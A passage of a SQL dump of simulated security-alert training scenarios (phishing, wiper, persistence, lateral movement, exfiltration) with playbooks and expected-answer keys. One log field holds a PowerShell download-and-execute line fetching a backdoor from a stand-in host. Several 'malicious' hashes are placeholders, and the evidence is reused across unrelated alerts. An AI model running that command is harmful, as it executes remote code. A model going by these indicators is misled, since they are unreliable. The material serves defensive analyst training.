Detected\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1330, 'Suspicious Phishing Email Detected', 'high', 'Email Gateway', 'A phishing email targeting key personnel in Israeli organizations has been detected. The email is suspected to have been sent by the Agrius APT group to harvest credentials. The email contains malicious links and attachments that urge the recipient to provide login information.', 'Initial Access', 'T1566 - Phishing', 1, 'new', NULL, '{\"timestamp\":\"2023-10-14T08:45:30Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.1.5\",\"sender_email\":\"alert@securemail.com\",\"recipient_email\":\"john.doe@israeli-org.org\",\"subject\":\"Urgent: Update Your Account Information\",\"attachment\":{\"filename\":\"SecureUpdate.docx\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\"},\"url\":\"http://malicious-update.com/securelogin\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\"}', '2026-03-01 22:56:26', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"IP associated with known phishing campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"alert@securemail.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Email Reputation Service\",\"verdict\":\"suspicious\",\"details\":\"Domain recently registered and used in phishing activities.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malicious document used in phishing.\"}},{\"id\":\"artifact_4\",\"type\":\"url\",\"value\":\"http://malicious-update.com/securelogin\",\"is_critical\":true,\"osint_result\":{\"source\":\"URL Analysis Service\",\"verdict\":\"malicious\",\"details\":\"URL hosting phishing landing page imitating legitimate service.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Suspicious Phishing Email Detected\",\"date\":\"2026-03-02T13:55:06.822Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1331, 'Apostle Wiper Execution Attempt', 'high', 'Endpoint Detection and Response (EDR)', 'The Apostle malware was deployed attempting to execute under the guise of a ransomware attack. This is indicative of an Apostle wiper execution attempt, masquerading as ransomware.', 'Execution', 'T1059.001 - PowerShell', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:22:35Z\",\"event_id\":\"4625\",\"source_ip\":\"185.230.150.45\",\"destination_ip\":\"192.168.1.15\",\"username\":\"compromised_user\",\"process_name\":\"powershell.exe\",\"command_line\":\"powershell.exe -ExecutionPolicy Bypass -File C:\\\\Temp\\\\ransomware.ps1\",\"file_hash\":\"3d2e479153a8f57f4f3b7e5c89f7a6e3c9b2f8d0\",\"filename\":\"ransomware.ps1\",\"action\":\"blocked\",\"severity\":\"high\"}', '2026-03-01 22:56:26', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.230.150.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"Known command and control server associated with Apostle malware.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host targeted by Apostle malware.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3d2e479153a8f57f4f3b7e5c89f7a6e3c9b2f8d0\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Lab\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Apostle wiper variant.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"ransomware.ps1\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"File masquerading as ransomware, used by Apostle wiper.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"User account potentially compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1332, 'Persistence Mechanism Detected', 'high', 'System Logs', 'Agrius has established a persistent backdoor using scheduled tasks and registry modifications on the host machine. This action aims to maintain access over an extended period.', 'Persistence', 'T1053.005 - Scheduled Task/Job', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:35:20Z\",\"event_id\":\"4624\",\"log_source\":\"Windows Security Log\",\"user\":\"malicious_user\",\"action\":\"Scheduled Task Creation\",\"task_name\":\"\\\\Microsoft\\\\Windows\\\\Update\\\\CriticalUpdate\",\"command\":\"C:\\\\Windows\\\\System32\\\\wscript.exe C:\\\\Users\\\\Public\\\\update.js\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"registry_modification\":\"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\MaliciousEntry\",\"source_ip\":\"45.76.23.89\",\"affected_host_ip\":\"192.168.1.102\"}', '2026-03-01 22:56:26', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"45.76.23.89\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"Known command and control server associated with Agrius.\"}},{\"id\":\"artifact_2\",\"type\":\"filename\",\"value\":\"update.js\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Script used for establishing persistence.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"SHA256 Lookup\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to known Agrius malware variant.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"malicious_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Security Database\",\"verdict\":\"suspicious\",\"details\":\"User account potentially compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.824Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:35:20Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"log_source\\\":\\\"Windows Security Log\\\",\\\"user\\\":\\\"malicious_user\\\",\\\"action\\\":\\\"Scheduled Task Creation\\\",\\\"task_name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\Update\\\\\\\\CriticalUpdate\\\",\\\"command\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wscript.exe C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\update.js\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"registry_modification\\\":\\\"HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousEntry\\\",\\\"source_ip\\\":\\\"45.76.23.89\\\",\\\"affected_host_ip\\\":\\\"192.168.1.102\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.824Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:35:20Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"log_source\\\":\\\"Windows Security Log\\\",\\\"user\\\":\\\"malicious_user\\\",\\\"action\\\":\\\"Scheduled Task Creation\\\",\\\"task_name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\Update\\\\\\\\CriticalUpdate\\\",\\\"command\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wscript.exe C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\update.js\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"registry_modification\\\":\\\"HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousEntry\\\",\\\"source_ip\\\":\\\"45.76.23.89\\\",\\\"affected_host_ip\\\":\\\"192.168.1.102\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.824Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:35:20Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"log_source\\\":\\\"Windows Security Log\\\",\\\"user\\\":\\\"malicious_user\\\",\\\"action\\\":\\\"Scheduled Task Creation\\\",\\\"task_name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\Update\\\\\\\\CriticalUpdate\\\",\\\"command\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wscript.exe C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\update.js\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"registry_modification\\\":\\\"HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousEntry\\\",\\\"source_ip\\\":\\\"45.76.23.89\\\",\\\"affected_host_ip\\\":\\\"192.168.1.102\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.824Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:35:20Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"log_source\\\":\\\"Windows Security Log\\\",\\\"user\\\":\\\"malicious_user\\\",\\\"action\\\":\\\"Scheduled Task Creation\\\",\\\"task_name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\Update\\\\\\\\CriticalUpdate\\\",\\\"command\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wscript.exe C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\update.js\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"registry_modification\\\":\\\"HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousEntry\\\",\\\"source_ip\\\":\\\"45.76.23.89\\\",\\\"affected_host_ip\\\":\\\"192.168.1.102\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.824Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:35:20Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"log_source\\\":\\\"Windows Security Log\\\",\\\"user\\\":\\\"malicious_user\\\",\\\"action\\\":\\\"Scheduled Task Creation\\\",\\\"task_name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\Update\\\\\\\\CriticalUpdate\\\",\\\"command\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wscript.exe C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\update.js\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"registry_modification\\\":\\\"HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousEntry\\\",\\\"source_ip\\\":\\\"45.76.23.89\\\",\\\"affected_host_ip\\\":\\\"192.168.1.102\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1333, 'Lateral Movement Pathway Identified', 'high', 'Network Traffic Analysis', 'The threat actor is leveraging harvested credentials to move laterally within the network, targeting additional systems to gain broader access and locate sensitive data.', 'Lateral Movement', 'T1078 - Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:45Z\",\"source_ip\":\"10.0.10.15\",\"destination_ip\":\"192.168.1.25\",\"external_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"auth_method\":\"NTLM\",\"file_accessed\":\"\\\\\\\\192.168.1.25\\\\sensitive_data\\\\financial_report.xlsx\",\"hash\":\"b1946ac92492d2347c6235b4d2611184\",\"event_type\":\"Successful Login\",\"protocol\":\"SMB\",\"malware_filename\":\"mimikatz.exe\"}', '2026-03-01 22:56:26', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.10.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"internal\",\"details\":\"Internal IP address of targeted system.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP address associated with threat actor.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"mimikatz.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Report\",\"verdict\":\"malicious\",\"details\":\"Filename commonly used by credential-stealing malware.\"}},{\"id\":\"artifact_6\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"internal\",\"details\":\"Employee username with compromised credentials.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1334, 'Data Exfiltration via Encrypted Channels', 'high', 'Data Loss Prevention (DLP)', 'Agrius APT group attempts to exfiltrate sensitive corporate data using encrypted channels, exploiting weaknesses in network monitoring to avoid detection.', 'Exfiltration', 'T1048.003 - Exfiltration Over Alternative Protocol: Encrypted Channel', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:52:31Z\",\"event_id\":\"DLP-EXFIL-20231012-0005\",\"source_ip\":\"192.168.15.8\",\"destination_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"protocol\":\"HTTPS\",\"file_name\":\"company_secrets.zip\",\"file_hash\":\"f2ca1bb6c7e907d06dafe4687e579fce\",\"file_size\":\"10MB\",\"encryption\":\"AES-256\",\"action\":\"allowed\",\"alert_level\":\"high\",\"description\":\"An encrypted data transfer was detected from an internal host to an external IP associated with Agrius APT activities.\"}', '2026-03-01 22:56:26', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.15.8\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal logs\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat intelligence feed\",\"verdict\":\"malicious\",\"details\":\"IP address associated with Agrius APT group.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"f2ca1bb6c7e907d06dafe4687e579fce\",\"is_critical\":true,\"osint_result\":{\"source\":\"antivirus database\",\"verdict\":\"suspicious\",\"details\":\"File hash detected in recent APT campaigns.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"company_secrets.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal logs\",\"verdict\":\"suspicious\",\"details\":\"Sensitive data file potentially exfiltrated.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.827Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:52:31Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-20231012-0005\\\",\\\"source_ip\\\":\\\"192.168.15.8\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"company_secrets.zip\\\",\\\"file_hash\\\":\\\"f2ca1bb6c7e907d06dafe4687e579fce\\\",\\\"file_size\\\":\\\"10MB\\\",\\\"encryption\\\":\\\"AES-256\\\",\\\"action\\\":\\\"allowed\\\",\\\"alert_level\\\":\\\"high\\\",\\\"description\\\":\\\"An encrypted data transfer was detected from an internal host to an external IP associated with Agrius APT activities.\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.827Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:52:31Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-20231012-0005\\\",\\\"source_ip\\\":\\\"192.168.15.8\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"company_secrets.zip\\\",\\\"file_hash\\\":\\\"f2ca1bb6c7e907d06dafe4687e579fce\\\",\\\"file_size\\\":\\\"10MB\\\",\\\"encryption\\\":\\\"AES-256\\\",\\\"action\\\":\\\"allowed\\\",\\\"alert_level\\\":\\\"high\\\",\\\"description\\\":\\\"An encrypted data transfer was detected from an internal host to an external IP associated with Agrius APT activities.\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.827Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:52:31Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-20231012-0005\\\",\\\"source_ip\\\":\\\"192.168.15.8\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"company_secrets.zip\\\",\\\"file_hash\\\":\\\"f2ca1bb6c7e907d06dafe4687e579fce\\\",\\\"file_size\\\":\\\"10MB\\\",\\\"encryption\\\":\\\"AES-256\\\",\\\"action\\\":\\\"allowed\\\",\\\"alert_level\\\":\\\"high\\\",\\\"description\\\":\\\"An encrypted data transfer was detected from an internal host to an external IP associated with Agrius APT activities.\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.827Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:52:31Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-20231012-0005\\\",\\\"source_ip\\\":\\\"192.168.15.8\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"company_secrets.zip\\\",\\\"file_hash\\\":\\\"f2ca1bb6c7e907d06dafe4687e579fce\\\",\\\"file_size\\\":\\\"10MB\\\",\\\"encryption\\\":\\\"AES-256\\\",\\\"action\\\":\\\"allowed\\\",\\\"alert_level\\\":\\\"high\\\",\\\"description\\\":\\\"An encrypted data transfer was detected from an internal host to an external IP associated with Agrius APT activities.\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.827Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:52:31Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-20231012-0005\\\",\\\"source_ip\\\":\\\"192.168.15.8\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"company_secrets.zip\\\",\\\"file_hash\\\":\\\"f2ca1bb6c7e907d06dafe4687e579fce\\\",\\\"file_size\\\":\\\"10MB\\\",\\\"encryption\\\":\\\"AES-256\\\",\\\"action\\\":\\\"allowed\\\",\\\"alert_level\\\":\\\"high\\\",\\\"description\\\":\\\"An encrypted data transfer was detected from an internal host to an external IP associated with Agrius APT activities.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1335, 'Suspicious Phishing Email Detected', 'high', 'Email Gateway Logs', 'A phishing email was detected aimed at gaining an initial foothold into the telecommunications network. The email contains a malicious attachment believed to be associated with the MuddyWater APT group.', 'Initial Access', 'T1566.001 - Spearphishing Attachment', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T08:45:00Z\",\"email_id\":\"1234567890abcdef\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.1.1.5\",\"sender_email\":\"attacker@maliciousdomain.com\",\"recipient_email\":\"victim@telecomnetwork.com\",\"subject\":\"Urgent: Invoice Attached\",\"attachment\":{\"filename\":\"invoice_details.docm\",\"hash\":\"5f4dcc3b5aa765d61d8327deb882cf99\"},\"detected_malware\":\"MuddyWater\",\"action_taken\":\"Email quarantined\"}', '2026-03-01 22:56:56', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known phishing campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.1.1.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the recipient.\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"attacker@maliciousdomain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Email associated with phishing campaigns.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known MuddyWater malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Suspicious Phishing Email Detected\",\"date\":\"2026-03-02T13:55:06.828Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1336, 'Execution of Malicious PowerShell Script', 'high', 'Endpoint Detection and Response (EDR) Systems', 'A PowerShell script was executed on the host system to download and run a backdoor, associated with the MuddyWater APT group. This script execution is part of a post-compromise activity aimed at maintaining persistence and enabling further malicious actions within the network.', 'Execution', 'T1059.001 - PowerShell', 1, 'new', NULL, '{\"timestamp\":\"2023-10-11T14:56:23Z\",\"event_id\":\"4624\",\"computer_name\":\"DESKTOP-8D7KJH5\",\"user\":\"jdoe\",\"process_name\":\"C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\"command_line\":\"powershell.exe -NoProfile -ExecutionPolicy Bypass -File C:\\\\Users\\\\jdoe\\\\AppData\\\\Local\\\\Temp\\\\script.ps1\",\"script_content\":\"IEX (New-Object Net.WebClient).DownloadString(\'http://maliciousdomain.com/backdoor.ps1\')\",\"internal_ip\":\"10.0.0.15\",\"external_ip\":\"203.0.113.45\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"file_name\":\"script.ps1\"}', '2026-03-01 22:56:56', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with MuddyWater APT activities.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"File hash associated with suspicious PowerShell 